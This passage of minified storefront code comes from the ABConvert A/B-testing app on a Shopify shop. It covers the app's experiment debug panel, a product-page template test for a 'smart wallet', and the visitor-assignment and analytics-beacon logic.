<div class="abconvert-group-list">\n          ${o}\n        </div>\n      </div>\n    </div>\n  `}({groups:d,currentGroupIndex:i}),f=(0,un.H5)(e,n,l),b=function(n){let{debugInfo:e,debugApi:t,testGroups:o,isV5:r,expanded:i=!1}=n;if(!r||!e||e.error)return"";const a=function(n,e,t){const o=n.visitorContext||{},r=n.currentContext||o,i=n.hasStoredContext,a=i?'<div class="abconvert-info-banner highlight">
901\n        <span class="abconvert-badge abconvert-badge-info">STORED</span>\n        <span>Using Stored Context - This experiment captured context when you first saw it. Context is locked for consistent targeting.</span>\n       </div>':'<div class="abconvert-info-banner warning">\n        <span class="abconvert-badge abconvert-badge-warning">NEW</span>\n        <span>No Stored Context - First time seeing this experiment. Current session context will be captured on first evaluation.</span>\n       </div>',c=`\n    <div style="margin-bottom: 12px;">\n      <div class="abconvert-section-header">\n        ${i?"Experiment Context (Stored)":"Session Context (Current)"}\n      </div>\n      <div class="abconvert-card" style="${i?"border-color: #005fcc;":""}">\n        ${dn(o)}\n      </div>\n    </div>\n  `,s=i?`\n    <div style="margin-bottom: 12px;">\n      <div class="abconvert-section-header" style="color: #616161;">\n        Current Session (Not Used)\n      </div>\n      <div class="abconvert-card" style="opacity: 0.7;">\n        ${dn(r)}\n      </div>\n    </div>\n  `:"",d=n.trafficAllocation||{},l=`\n    <div style="margin-bottom: 12px;">\n      <div class="abconvert-section-header">Traffic Allocation</div>\n      <div class="abconvert-card" style="font-size: 11px;">\n        <div style="display: flex; align-items: center; gap: 8px;">\n          <span class="abconvert-status-icon ${sn(d.inTest)}">\n            ${cn(d.inTest)}\n          </span>\n          <span>${d.percent??"?"}% of traffic enters test</span>\n          <span style="color: #6d7175;">(${d.inTest?"included":"excluded"})</span>\n        </div>\n      </div>\n    </div>\n  `;let u="";return null!==n.storedGroupIndex&&(u=`\n      <div class="abconvert-info-banner highlight" style="margin-top: 8px;">\n        <div style="font-weight: 500; color: #005bd3;">\n          Stored Assignment: ${t[n.storedGroupIndex]?.name||`Group ${n.storedGroupIndex}`} (index ${n.storedGroupIndex})\n        </div>\n      </div>\n    `),`\n    <div style="padding: 8px 0 16px 0;">\n      ${a}\n      ${c}\n      ${s}\n      ${l}\n      ${function(n,e,t){if(!(n.audienceTargeting?.config?.enabled&&n.audienceTargeting?.config?.groups?.length>0))return"";const o=n.audienceTargeting.config.groups.map((n=>(n.filters||[]).map((o=>{let r=!0;try{r=e.checkAudienceTargeting({enabled:!0,groups:[{id:n.id,filters:[o]}]},t)}catch(n){r=!1}const i=cn(r),a=sn(r),c=Array.isArray(o.value)?o.value.join(", "):o.value;return`\n        <div style="display: flex; align-items: center; gap: 6px; padding: 4px 0;">\n          <span class="abconvert-status-icon ${a}">${i}</span>\n          <span style="font-size: 11px;">${o.type}: ${o.operator} "${c}"</span>\n        </div>\n      `})).join(""))).join("");return`\n    <div style="margin-bottom: 12px;">\n      <div class="abconvert-section-header">\n        Audience Targeting\n        <span class="abconvert-status-icon ${sn(n.audienceTargeting.passes)}" style="margin-left: 4px;">\n          (${n.audienceTargeting.passes?"PASSES":"FAILS"})\n        </span>\n      </div>\n      <div class="abconvert-card" style="font-size: 11px;">\n        ${o||'<span style="color: #6d7175;">No filters configured</span>'}\n      </div>\n    </div>\n  `}(n,e,o)}\n      ${function(n){if(!(n.forceAssignRules?.config?.length>0))return"";const e=n.forceAssignRules.config.map((e=>{const t=n.forceAssignRules.result?.id===e.id;return`\n      <div style="display: flex; align-items: center; gap: 6px; padding: 4px 0; ${t?"background: #e3f1df; border-radius: 4px; padding: 4px 8px;":""}">\n        <span style="color: ${t?"#005bd3":"#6d7175"}; font-weight: bold;">${t?"→":"○"}</span>\n        <span style="font-size: 11px;">${e.filters.map((n=>`${n.type}=${Array.isArray(n.value)?n.value.join(","):n.value}`)).join(" & ")} → ${"assign_group"===e.action?`Group ${e.groupIndex}`:e.action}</span>\n      </div>\n    `})).join("");return`\n    <div style="margin-bottom: 12px;">\n      <div class="abconvert-section-header">\n        Force Assign Rules\n        ${n.forceAssignRules.result?'<span style="color: #005bd3; margin-left: 4px;">(Rule Matched!)</span>':""}\n      </div>\n      <div class="abconvert-card" style="font-size: 11px;">\n        ${e}\n      </div>\n    </div>\n  `}(n)}\n      ${u}\n      \n    <div style="margin-bottom: 12px; margin-top: 12px;">\n      <div class="abconvert-section-header">Override Context</div>\n      <div class="abconvert-override-grid">\n        <select id="abconvert-override-country" class="abconvert-override-select">\n          <option value="">Country: Auto</option>\n          <option value="US">United States</option>\n          <option value="CA">Canada</option>\n          <option value="GB">United Kingdom</option>\n          <option value="DE">Germany</option>\n          <option value="FR">France</option>\n          <option value="AU">Australia</option>\n        </select>\n        <select id="abconvert-override-device" class="abconvert-override-select">\n          <option value="">Device: Auto</option>\n          <option value="desktop">Desktop</option>\n          <option value="mobile">Mobile</option>\n        </select>\n        <select id="abconvert-override-source" class="abconvert-override-select">\n          <option value="">Source: Auto</option>\n          <option value="direct">Direct</option>\n          <option value="google">Google</option>\n          <option value="facebook">Facebook</option>\n          <option value="instagram">Instagram</option>\n          <option value="paid_search">Paid Search</option>\n          <option value="paid_social">Paid Social</option>\n          <option value="email">Email</option>\n        </select>\n        <select id="abconvert-override-visitor" class="abconvert-override-select">\n          <option value="">Visitor: Auto</option>\n          <option value="new">New</option>\n          <option value="returning">Returning</option>\n        </select>\n      </div>\n    </div>\n  \n      <div class="abconvert-button-group">\n        <button id="abconvert-recalculate" class="abconvert-btn abconvert-btn-primary">Test Assignment</button>\n        <button id="abconvert-clear-stored" class="abconvert-btn abconvert-btn-secondary">Clear Stored</button>\n      </div>\n      <div style="margin-top: 8px;">\n        <button id="abconvert-clear-context" class="abconvert-btn abconvert-btn-critical" style="width: 100%;">\n          Reset All Context (New Session)\n        </button>\n      </div>\n      <div id="abconvert-assignment-result" class="abconvert-result-box"></div>\n    </div>\n  `}(e,t,o);return`\n    <div class="abconvert-debug-section">\n      ${(0,rn.q)({id:"abconvert-debug",title:"Debug Panel (V5)",icon:"🔧",content:a,expanded:i})}\n    </div>\n  `}({debugInfo:c,debugApi:s,testGroups:d,isV5:a,expanded:l.has("abconvert-debug")});return`\n    ${u}\n    ${p}\n    ${v}\n    ${f}\n    ${b}\n  `}function gn(n,e){const t=n[e],o=t.testType;let r=(0,on.DZ)(e);const i=null!==r?r:0;null===r&&((0,on.gp)(e,0),window.location.reload());const a=window.abconvertDebug,c="v5"===t.version;let s=null;if(a&&c)try{s=a.getDebugInfo(e)}catch(n){console.warn("[ABConvert] Failed to get debug info:",n)}return{testType:o,experiments:n,experimentId:e,experimentData:t,currentGroupIndex:i,isV5:c,debugInfo:s,debugApi:a,...(0,un.WU)(o,t)}}function mn(n,e){const{testType:t,experiments:o,experimentId:r,experimentData:i,isV5:a,debugInfo:c,debugApi:s}=e,d=i.groups||[],l=(n,e)=>{const t=(0,on.uH)();e?t.add(n):t.delete(n),(0,on.K7)(t)};!function(n,e){const t=n.querySelector("#abconvert-experiment-selector");t&&t.addEventListener("change",(function(){const n=this.value;e&&e(n)}))}(n,(e=>{!function(n,e,t){(0,on.xX)(t),n.dataset.experimentId=t;const o=gn(e,t),r=n.querySelector(".abconvert-widget-content");r&&(r.innerHTML=bn(o),mn(n,o))}(n,o,e)})),function(n,e,t){n.querySelectorAll(".abconvert-group-item").forEach((n=>{n.addEventListener("click",(function(){const n=this.dataset.groupIndex;t&&t(n,e)}))}))}(n,r,((n,e)=>{(0,on.gp)(e,parseInt(n,10)),(0,un.Mq)(t,i,parseInt(n,10))||window.location.reload()})),(0,un.uh)(t,n,e,l),a&&c&&!c.error&&function(n,e,t,o,r,i){(0,rn.s)(n,"abconvert-debug","2000px",i);const a=n.querySelector("#abconvert-clear-stored");a&&o&&a.addEventListener("click",(()=>{o.clearStoredAssignment(String(t)),ln(n,"warning","Stored Assignment Cleared","Next visit will recalculate group assignment based on current context and rules.")}));const c=n.querySelector("#abconvert-clear-context");c&&o&&c.addEventListener("click",(()=>{o.clearStoredContext(),o.clearStoredAssignment(String(t)),ln(n,"error","All Context Reset","Traffic source, referral domain, landing page, visitor type, and visitor ID have been cleared.<br><br><strong>Reload the page</strong> to simulate a fresh visitor session.")}));const s=n.querySelector("#abconvert-recalculate");s&&o&&s.addEventListener("click",(()=>{!function(n,e,t,o,r){const i=n.querySelector("#abconvert-override-country")?.value,a=n.querySelector("#abconvert-override-device")?.value,c=n.querySelector("#abconvert-override-source")?.value,s=n.querySelector("#abconvert-override-visitor")?.value,d=o.getVisitorContext(e?.startTime),l={...d,country:i||d.country,device:a||d.device,trafficSource:c||d.trafficSource,visitorType:s||d.visitorType};o.clearStoredAssignment(String(t));const u=e?.groups?.map((n=>n.percentage))||[50,50],p=o.getVisitorId(),v=o.checkTrafficAllocation(p,String(t),e.trafficAllocationPercent??100),f=o.checkAudienceTargeting(e.audienceTargeting,l),b=o.evaluateForceAssignRules(e.forceAssignRules,l);if(v)if(f)if(b&&"exclude"===b.action)ln(n,"error","❌ Excluded by Force Rule",`Matched rule: ${b.id||"unknown"}`);else if(b&&"assign_group"===b.action)ln(n,"info",`→ Force Assigned to: ${r[b.groupIndex]?.name||`Group ${b.groupIndex}`}`,`Matched rule assigns to group index ${b.groupIndex}`);else{const i=o.getGroupAssignment({experimentId:String(t),trafficAllocationPercent:e.trafficAllocationPercent??100,audienceTargeting:e.audienceTargeting??null,forceAssignRules:e.forceAssignRules??null,percentages:u,experimentStartTime:e.startTime??null});ln(n,"success",`✓ Assigned to: ${r[i.groupIndex]?.name||`Group ${i.groupIndex}`}`,`Reason: ${i.reason}<br>Context used: ${l.country||"(auto)"}, ${l.device||"(auto)"}, ${l.trafficSource||"(auto)"}`)}else ln(n,"error","❌ Excluded from Test","Reason: Does not match audience targeting criteria");else ln(n,"error","❌ Excluded from Test",`Reason: Traffic allocation (visitor hash outside ${e.trafficAllocationPercent??100}% threshold)`)}(n,e,t,o,r)}))}(n,i,r,s,d,l)}let hn=!1;const $n="__ABConvertPreviewWidgetScheduler";function xn(){window[$n]===xn?hn||(hn=!0,setTimeout((()=>{hn=!1,fn()}),0)):window.removeEventListener(pn.$F,xn)}const wn=window[$n];"function"==typeof wn&&window.removeEventListener(pn.$F,wn),window[$n]=xn,window.addEventListener(pn.$F,xn),"loading"===document.readyState?document.addEventListener("DOMContentLoaded",xn,{once:!0}):xn()})();
902</script>
902
903
904<script id="ABConvert-template-test">
905var abconvertNamespaceGroups = null;
906window.abconvertNamespaceGroups = abconvertNamespaceGroups;
907
908var abconvertTemplateTestLiquidVariables = {
909    abconvertTemplate : "cart",
910    abconvertDesignMode:false
911 };
912
913Object.keys(abconvertTemplateTestLiquidVariables).forEach(function(key) { window[key] =
914abconvertTemplateTestLiquidVariables[key]; });
915var abconvertTemplateTestDict = {"experiments":[{"experimentId":"69793d8cef0311ac540f37c1","testGroups":[{"name":"Original","percentage":0,"testProducts":[],"template":{"key":"product.abconvert-product-abconvert-product-smart-wallet-3-0-01-wXCSesZO-9z0xEiMk.json","suffix":"abconvert-product-abconvert-product-smart-wallet-3-0-01-wXCSesZO-9z0xEiMk","type":"product","isDefault":false,"previewUrl":"/products/smart-wallet-3-0?view=abconvert-product-abconvert-product-smart-wallet-3-0-01-wXCSesZO-9z0xEiMk","screenshotUrl":"https://storage.googleapis.com/abconvert-v1-prod-screenshots/product.abconvert-product-abconvert-product-smart-wallet-3-0-01-wXCSesZO-9z0xEiMk.json-1770310557464.jpg","_id":"6984d44a763eb994c63bfae4"},"paymentCustomization":[],"deliveryCustomization":[],"checkoutUICustomization":[],"shippingCost":2,"profitMargin":30,"_id":"69793d8cef0311ac540f37c2","redirectRules":[]},{"name":"PDP Sicherheit","percentage":100,"testProducts":[],"template":{"key":"product.abconvert-product-abconvert-product-smart-wallet-3-0-01-wXCSesZO-DOEwhB7o.json","suffix":"abconvert-product-abconvert-product-smart-wallet-3-0-01-wXCSesZO-DOEwhB7o","type":"product","isDefault":false,"previewUrl":"/products/geschenkgutschein?view=abconvert-product-abconvert-product-smart-wallet-3-0-01-wXCSesZO-DOEwhB7o","screenshotUrl":"https://storage.googleapis.com/abconvert-v1-prod-screenshots/product.abconvert-product-abconvert-product-smart-wallet-3-0-01-wXCSesZO-DOEwhB7o.json-1770290084580.jpg","_id":"6984d44a763eb994c63bfae6"},"paymentCustomization":[],"deliveryCustomization":[],"checkoutUICustomization":[],"shippingCost":2,"profitMargin":30,"_id":"69793d8cef0311ac540f37c4","redirectRules":[]}],"templateDict":{"product.abconvert-product-abconvert-product-smart-wallet-3-0-01-wXCSesZO-9z0xEiMk":{"groupIndex":0},"product.abconvert-product-abconvert-product-smart-wallet-3-0-01-wXCSesZO-DOEwhB7o":{"groupIndex":1}},"startTime":"2026-01-27T22:34:52.462Z","pathConditionType":"include","pathConditions":[{"conditionType":"query_string","condition":"contains","value":"variant=safety","_id":"69793d8cef0311ac540f37c6"}],"redirectControlGroup":true}]};
916 window.abconvertTemplateTestDict = abconvertTemplateTestDict;
917(()=>{"use strict";const e="abconvert-session",t=18e5,n="_abconvert-assignment",r="abconvert-session",o="abconvert-visitor",i="abconvertCountry",s="abconvertSearchParams",a="abconvert-experiment-ids",c="abconvert-template",u="exclude",l="include",d="__abconvertResolvedGroups",f="url-redirect",p="theme",m="template",g="match_exactly",h="match_regex_exactly",w="contains",y="ends_with",v="starts_with",b="not_match_exactly",x="not_match_regex_exactly",_="not_contains",I="not_ends_with",S="not_starts_with",T="query_string",k=async function(e,t){let n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:null;const r={method:t,mode:"cors",headers:{"Content-Type":"application/json"}};n&&(r.body=JSON.stringify(n));let o=150,i=0;for(;i<3;)try{const t=await fetch(e,r);if(t.ok)return t.json();const n=(t.headers?.get("content-type")||"").includes("application/json")?JSON.stringify(await t.json()):await t.text(),o=new Error(`HTTP ${t.status} ${t.statusText||""} for ${e}${n?`: ${n.slice(0,300)}`:""}`.trim());throw o.status=t.status,o.statusText=t.statusText,o.url=e,o}catch(e){if(o*=2,i+=1,i>=3)throw e;await new Promise((e=>setTimeout(e,o)))}throw new Error("API Error")};function A(e){for(var t=e+"=",n=document.cookie.split(";"),r=0;r<n.length;r++){for(var o=n[r];" "==o.charAt(0);)o=o.substring(1,o.length);if(0==o.indexOf(t))return o.substring(t.length,o.length)}return null}function N(e,t,n){var r,o=new Date;o.setTime(o.getTime()+n),r="; expires="+o.toUTCString(),document.cookie=e+"="+(t||"")+r+"; path=/"}function $(e,t,n,r){const o={[f]:"abconvert-url-redirect-experiments",[p]:"abconvert-theme-experiments",[m]:"abconvert-template-experiments"}[e];if(!o)return void console.error("[ABConvert] Invalid experiment type:",e);let i=[];try{const e=A(o);e&&(i=JSON.parse(e))}catch(e){console.warn("[ABConvert] Failed to parse existing cookie:",o,e)}const s={experimentId:t,groupIndex:n,startTime:r},a=i.findIndex((e=>e.experimentId===t));a>=0?i[a]=s:i.push(s),N(o,JSON.stringify(i),2592e6)}function O(){let e=A("abconvert-landing-page");return e||(e=window.location.pathname,N("abconvert-landing-page",e,t)),e}function C(){let n=A(e);n||(n="xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g,(function(e){const t=16*Math.random()|0;return("x"===e?t:3&t|8).toString(16)})));const r=function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:Date.now();const n=e+t,r=new Date(e),o=Date.UTC(r.getUTCFullYear(),r.getUTCMonth(),r.getUTCDate()+1,0,0,0,0);return Math.min(n,o)}()-Date.now();return N(e,n,r),n}function E(e){const t=(new Date).valueOf(),n=localStorage.getItem("abconvert-first-visit-time")?Number(localStorage.getItem("abconvert-first-visit-time")):t;return localStorage.getItem("abconvert-first-visit-time")||localStorage.setItem("abconvert-first-visit-time",t.toString()),n>(e=new Date(e).valueOf())?"new":"returning"}function P(e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:void 0,n=window.location.pathname,r=window.location.search;if("string"==typeof t)try{const e=new URL(t,window.location.href);n=e.pathname,r=e.search}catch{const e=t.indexOf("?");n=-1===e?t:t.slice(0,e),r=-1===e?"":t.slice(e)}const o=n+r,{conditionType:i,condition:s,value:a}=e;let c;switch(i){case"page_url":c=n;break;case"page_url_with_query_string":c=o;break;case T:c=r;break;default:return!1}return i===T?function(e,t,n){let r=decodeURI(n);const o=new URLSearchParams(r);switch(e){case g:const e=new URLSearchParams(decodeURI(t));let n=!0;for(let[t,r]of e)if(!o.has(t)||o.get(t)!==r){n=!1;break}return n&&o.forEach(((t,r)=>{e.has(r)||(n=!1)})),n;case h:return new RegExp(t).test(r);case w:const i=new URLSearchParams(t);for(let[e,t]of i)if(!o.has(e)||o.get(e)!==t)return!1;return!0;case v:return r.startsWith(decodeURI(t));case y:return r.endsWith(decodeURI(t));case b:const s=new URLSearchParams(decodeURI(t));let a=!1;for(let[e,t]of s)if(!o.has(e)||o.get(e)!==t){a=!0;break}return a||o.forEach(((e,t)=>{s.has(t)||(a=!0)})),a;case x:return!new RegExp(t).test(r);case _:const c=new URLSearchParams(t);for(let[e,t]of c)if(o.has(e)&&o.get(e)===t)return!1;return!0;case S:return!r.startsWith(decodeURI(t));case I:return!r.endsWith(decodeURI(t));default:return!1}}(s,a,c):function(e,t,n){let r=decodeURI(n);switch(e){case g:return decodeURI(t)===r;case h:return new RegExp(t).test(r);case w:return r.includes(decodeURI(t));case v:return r.startsWith(decodeURI(t));case y:return r.endsWith(decodeURI(t));case b:return decodeURI(t)!==r;case x:return!new RegExp(t).test(r);case _:return!r.includes(decodeURI(t));case S:return!r.startsWith(decodeURI(t));case I:return!r.endsWith(decodeURI(t));default:return!1}}(s,a,c)}const R="https://app.abconvert.io";async function D(){localStorage.getItem("abconvert-country")||await async function(){const e=await fetch(`${R}/api/public/get-country-code`,{method:"GET",mode:"cors"}),t=(await e.json()).countryCode;t&&(console.log("successfully set country code: ",t),localStorage.setItem("abconvert-country",t))}()}function j(){return localStorage.getItem("abconvert-country")}function L(){const e=navigator.userAgent||window.opera;return/android|webos|iphone|ipad|ipod|blackberry|iemobile|opera mini/i.test(e)?"mobile":/ipad|playbook|silk/i.test(e)?"tablet":"desktop"}const J=[/Googlebot/,/Googlebot-Image/,/Googlebot-Video/,/Googlebot-News/,/Storebot-Google/,/Google-InspectionTool/,/GoogleOther/,/Google-Extended/,/APIs-Google/,/AdsBot-Google-Mobile/,/AdsBot-Google/,/Mediapartners-Google/,/Google-Safety/,/FeedFetcher-Google/,/GoogleProducer/,/Bingbot/,/Slurp/,/DuckDuckBot/,/Baiduspider/,/YandexBot/,/facebot/,/Twitterbot/,/crawler/,/meta-externalads/,/facebookexternalhit/];let U,M,B=0,G=0,F=!1;const q=()=>{F?(F=!1,M=(new Date).getTime(),G+=(M-U)/1e3):(F=!0,U=(new Date).getTime())};function z(e,t,n,r,o){const i=(new Date).getTime(),s=window.location.pathname.toString(),a=O();A(`abconvert-${t}-test-stay-time-recorded-${n}`)||(N(`abconvert-${t}-test-stay-time-recorded-${n}`,!0,18e5),setInterval((()=>{(new Date).getTime()-i>39e3&&q()}),39e3),window.addEventListener("beforeunload",(async()=>{const t=C(),c=(new Date).getTime(),u=(c-i)/1e3,l=(c-i)/1e3-B/1e3-G;fetch(e,{method:"POST",body:JSON.stringify({stayingTime:u,stayingTimeAdjusted:l,sessionId:t,experimentId:n,groupIndex:r,visitorType:E(o),pathName:s,landingPage:a}),keepalive:!0})}
917)))}function W(e,t,n,r){const o=window.location.pathname.toString(),i=O();window.addEventListener("click",(s=>{if("A"===s.target.tagName){const a=s.target.getAttribute("href"),c=C();fetch(e,{method:"POST",body:JSON.stringify({sessionId:c,experimentId:t,groupIndex:n,link:a,visitorType:E(r),pathName:o,landingPage:i}),keepalive:!0})}}))}function V(e,t,n,r){const o=window.location.pathname.toString(),i=O();let s=!1;window.addEventListener("scroll",(()=>{s=!0})),window.addEventListener("click",(()=>{s=!0})),window.addEventListener("beforeunload",(async()=>{if(!s){const s=C();fetch(e,{method:"POST",body:JSON.stringify({sessionId:s,experimentId:t,groupIndex:n,visitorType:E(r),pathName:o,landingPage:i}),keepalive:!0})}}))}async function H(e,t,n,r){const o=C(),i=window.location.pathname.toString(),s=O();fetch(e,{method:"POST",body:JSON.stringify({sessionId:o,experimentId:t,groupIndex:n,visitorType:E(r),pathName:i,landingPage:s}),keepalive:!0})}window.addEventListener("scroll",(()=>{B+=1.8,q()}));const K="response",Z="external-response",Q="beacon-fallback",Y=/Failed to fetch|Load failed|NetworkError|Network request failed|Fetch is aborted|The network connection was lost|The user aborted a request|A server with the specified hostname could not be found/i;let X=0;const ee=new Set;function te(e,t){const n=String(e??"");return n.length>t?`${n.slice(0,t)}…`:n}function ne(e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};const n=e instanceof Error?e:new Error(String(e)),r=t.data?t.data.status:void 0,o=function(e,t,n){return 429===n?"network":t===K||t===Z?"integration":(r=e?.name,o=e?.message,"AbortError"===r||"TypeError"===r&&Y.test(String(o||""))?"network":"bug");var r,o}(n,t.step,r);if("network"===o)return;const i=t.script||"unknown",s=t.step||"unknown",a=`${i}|${s}|${n.message}`;if(X>=10||ee.has(a))return;ee.add(a),X+=1;const c=window.Shopify?.shop||"unknown",u={name:n.name,message:te(n.message,500),stack:te(n.stack,4e3),script:i,step:s,category:o,status:"number"==typeof r?r:void 0,shop:c,release:"v2.14.158",url:window.location?.href,data:t.data||{}};let l;try{l=JSON.stringify(u)}catch{l=JSON.stringify({...u,data:{serialization:"failed"}})}!function(e,t){try{if(navigator.sendBeacon?.(e,t))return}catch{}try{fetch(e,{method:"POST",headers:{"Content-Type":"text/plain"},body:t,keepalive:!0})?.catch?.((()=>{}))}catch{}}(`https://app.abconvert.io/api/public/script-error?shop=${encodeURIComponent(c)}`,l)}function re(e,t,n,r){e&&(console.warn(`[ABConvert] ${e.script} beacon failed (${n}):`,t instanceof Error?t.message:t),ne(t,{script:e.script,step:n,data:{...e.data,status:r}}))}function oe(e,t,n){return function(e,t,n){try{return"undefined"!=typeof navigator&&"function"==typeof navigator.sendBeacon&&navigator.sendBeacon(e,t)}catch(e){return re(n,e,"beacon"),!1}}(e,t,n)||function(e,t,n){try{const r=fetch(e,{method:"POST",headers:{"Content-Type":"text/plain"},body:t,keepalive:!0});return r?.then?.((e=>{e?.ok||re(n,new Error(`[ABConvert] beacon fallback HTTP ${e?.status}`),K,e?.status)}),(e=>{re(n,e,Q),n?.onRejected?.()})),!0}catch(e){return re(n,e,Q),!1}}(e,t,n)}const ie=[["Edge",/Edg(?:e|A|iOS)?\/(\d+[\d.]*)/],["Opera",/(?:OPR|Opera)\/(\d+[\d.]*)/],["Samsung Internet",/SamsungBrowser\/(\d+[\d.]*)/],["Chrome",/(?:Chrome|CriOS)\/(\d+[\d.]*)/],["Firefox",/(?:Firefox|FxiOS)\/(\d+[\d.]*)/],["Safari",/Version\/(\d+[\d.]*).*Safari/]],se=[["iOS",/(?:iPhone|iPad|iPod).*OS (\d+[_\d]*)/],["Android",/Android (\d+[\d.]*)/],["Windows",/Windows NT (\d+[\d.]*)/],["macOS",/Mac OS X (\d+[_\d.]*)/],["ChromeOS",/CrOS \w+ ([\d.]+)/],["Linux",/Linux/]];function ae(e){for(const[t,n]of ie){const r=e.match(n);if(r)return{name:t,version:r[1]}}return{name:"",version:""}}function ce(e){for(const[t,n]of se){const r=e.match(n);if(r)return{name:t,version:(r[1]||"").replace(/_/g,".")}}return{name:"",version:""}}const ue="__abconvert_suppressedExperiments",le="abconvert.session.suppressed_experiments",de=window;function fe(e){try{const t=JSON.stringify([...e].sort());if(sessionStorage.getItem(le)===t)return;sessionStorage.setItem(le,t)}catch{}}function pe(){let e=de[ue];return e||(e=new Set,de[ue]=e),e}function me(e){const t=de[ue];return!!t&&t.has(String(e))}const ge=[],he=new Map,we=new Map;let ye=0;function ve(e){const{source:t,conditions:n}=e;let r=t;if(t){const e=ge.find((e=>e.id===t.id));e?r=e:(ge.push(t),"dynamic"===t.class&&ye++)}for(const e of n??[])he.has(e.type)||(he.set(e.type,e),r&&we.set(e.type,r))}function be(e){return he.get(e)}function xe(e){return we.get(e)}function _e(){return ge}
917function Ie(e){return[...e.audienceTargeting?.enabled?e.audienceTargeting.groups?.flatMap((e=>e.filters??[]))??[]:[],...e.forceAssignRules?.flatMap((e=>e.filters??[]))??[]]}function Se(e){const t=new Set;for(const n of Ie(e))n.type&&t.add(n.type);return t}function Te(e){for(const t of Se(e))if("dynamic"===xe(t)?.class)return!0;return!1}function ke(e){for(const t of Se(e)){const e=xe(t);if(e?.available&&!e.available())return e}return null}function Ae(e){return null===e||"object"!=typeof e?JSON.stringify(e):Array.isArray(e)?`[${e.map((e=>Ae(e)??"null")).join(",")}]`:`{${Object.keys(e).sort().map((t=>{const n=Ae(e[t]);return void 0===n?void 0:`${JSON.stringify(t)}:${n}`})).filter((e=>void 0!==e)).join(",")}}`}function Ne(e,t={}){const n={...e};for(const e of _e())"dynamic"===e.class&&(e.available&&!e.available()||Object.assign(n,e.read(t)));return n}function $e(e,t){return be(e.type)?.evaluate(e,t)??!1}function Oe(e,t){if(!e||!e.enabled||!e.groups||0===e.groups.length)return!0;for(const n of e.groups)if(n.filters&&0!==n.filters.length&&!n.filters.some((e=>$e(e,t))))return!1;return!0}function Ce(e,t){if(!e||0===e.length)return null;const n=[...e].sort(((e,t)=>e.priority-t.priority));for(const e of n)if(e.filters.every((e=>$e(e,t))))return{matched:!0,action:e.action,groupIndex:e.groupIndex};return null}function Ee(e){try{return localStorage.getItem(e)}catch{return null}}function Pe(e,t){try{return localStorage.setItem(e,t),!0}catch{return!1}}function Re(e){try{return localStorage.removeItem(e),!0}catch{return!1}}function De(e){try{return sessionStorage.getItem(e)}catch{return null}}function je(e,t){try{return sessionStorage.setItem(e,t),!0}catch{return!1}}function Le(e){try{return sessionStorage.removeItem(e),!0}catch{return!1}}const Je="abconvert.visitor",Ue=`${Je}.first_seen`,Me=`${Je}.customer`,Be=`${Je}.country_detected`,Ge=`${Je}.klaviyo_segments`,Fe="abconvert-country",qe="abconvert.session",ze=`${qe}.device`,We=`${qe}.traffic_source.platform`,Ve=`${qe}.traffic_source.channel`,He=`${qe}.referral_domain`,Ke=`${qe}.landing_page`,Ze=`${qe}.utm.source`,Qe=`${qe}.utm.medium`,Ye=`${qe}.utm.campaign`,Xe=`${qe}.utm.term`,et=`${qe}.utm.content`,tt=`${qe}.gclid`,nt=`${qe}.fbclid`,rt=`${qe}.ttclid`,ot=`${qe}.force_assign.global`,it=`${qe}.force_assign.experiment.`;function st(e){return e.trim().toLowerCase()}function at(e,t,n){const r=t??"",o=Array.isArray(n)?n:[n];switch(e){case"equals":return r===o[0];case"not_equals":return r!==o[0];case"contains":return r.includes(o[0]);case"not_contains":return!r.includes(o[0]);case"in":return o.includes(r);case"not_in":return!o.includes(r);case"exists":return null!=t&&""!==t;case"not_exists":return null==t||""===t;case"starts_with":return r.startsWith(o[0]);case"regex":try{return new RegExp(o[0]).test(r)}catch{return!1}default:return!1}}function ct(){const e=De(Fe);if(e)return e.toUpperCase();const t=Ee(Be);return t?t.toUpperCase():""}function ut(e,t){console.warn("[ABConvert] country detection failed:",e instanceof Error?e.message:e),401!==t&&("number"==typeof t&&t>=500||ne(e,{script:"group-assignment",step:"number"==typeof t?Z:"fetch",data:{status:t,shopifyDomain:window.Shopify?.shop||""}}))}let lt=null;async function dt(){if(!Ee(Be))return lt||(lt=(async()=>{try{const e=await fetch("/browsing_context_suggestions.json");if(!e?.ok)return void ut(new Error(`HTTP ${e?.status}`),e?.status);const t=await e.json(),n=t?.detected_values?.country?.handle;"string"==typeof n&&/^[A-Z]{2}$/.test(n)?Pe(Be,n):ut(new Error(`malformed handle: ${JSON.stringify(n)}`))}catch(e){ut(e)}finally{lt=null}})(),lt)}const ft={source:{id:"market",class:"static",read:()=>({market:window.abconvertMarket||void 0}),available:()=>!!window.abconvertMarket},conditions:[{type:"market",evaluate:(e,t)=>{return at(e.operator,null==t.market?t.market:st(t.market),(n=e.value,Array.isArray(n)?n.map((e=>"string"==typeof e?st(e):e)):st(n)));var n}}]},pt={logged_in:{field:"loggedIn",evaluate:function(e,t,n){return"equals"===e&&Boolean(t)===("boolean"==typeof(r=ht(n))?r:"string"==typeof r&&"true"===r.trim().toLowerCase());var r}},tags:{field:"tags",evaluate:function(e,t,n){const r=yt(Array.isArray(t)?t:[]),o=yt(gt(n));switch(e){case"contains":return o.length>0&&r.includes(o[0]);case"not_contains":return!(o.length>0&&r.includes(o[0]));case"in":return o.some((e=>r.includes(e)));case"not_in":return!o.some((e=>r.includes(e)));case"exists":return r.length>0;case"not_exists":return 0===r.length;default:return!1}}},orders_count:{field:"ordersCount",evaluate:vt},total_spent:{field:"totalSpent",evaluate:vt}};function mt(e){return e?pt[e]:void 0}function gt(e){return Array.isArray(e)?e:[e]}function ht(e){return gt(e)[0]}function wt(e){if("number"==typeof e)return Number.isFinite(e)?e:NaN;if("string"!=typeof e)return NaN;const t=e.trim();if(""===t)return NaN;const n=Number(t);return Number.isFinite(n)?n:NaN}function yt(e){return e.map((e=>"string"==typeof e?st(e):"")).filter((e=>""!==e))}function vt(e,t,n){const r=wt(t),o=wt(ht(n));if(Number.isNaN(r)||Number.isNaN(o))return!1;switch(e){case"equals":return r===o;case"greater_than":return r>o;case"less_than":return r<o;case"greater_or_equal":return r>=o;case"less_or_equal":return r<=o;default:return!1}}function bt(e){if(null===e||"object"!=typeof e)return null;const{tags:t,ordersCount:n,totalSpent:r}=e;return Array.isArray(t)&&"number"==typeof n&&"number"==typeof r?{tags:t,ordersCount:n,totalSpent:r}:null}
